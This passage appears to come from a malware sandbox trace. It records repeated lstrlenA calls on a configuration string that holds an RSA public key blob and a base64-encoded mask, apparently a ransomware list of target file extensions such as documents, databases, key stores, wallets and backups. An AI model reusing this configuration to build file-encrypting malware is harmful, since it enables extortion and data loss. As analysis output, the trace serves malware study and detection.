C5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwg